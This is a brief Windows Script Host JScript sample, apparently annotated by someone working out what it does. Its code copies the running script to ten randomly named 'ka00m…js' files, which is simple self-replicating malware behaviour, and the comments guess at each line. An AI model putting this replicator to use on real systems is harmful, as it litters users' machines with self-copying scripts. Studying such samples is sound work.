var XFileSys = new ActiveXObject("Scripting.FileSystemObject");  // maybe the file manager function
var XScriptName = WScript.ScriptFullName;  // Some random variable names
var a = 0;             // Starts from 0
while (a < 10) {    // Seems like a counter
    a = a + 1;
    var XFile = "ka00m" + Math.random().toString().replace(".", "") + ".js";       //
    if (!XFileSys.FileExists(XFile )) {
        XFileSys.CopyFile(XScriptName, XFile );
    }
}
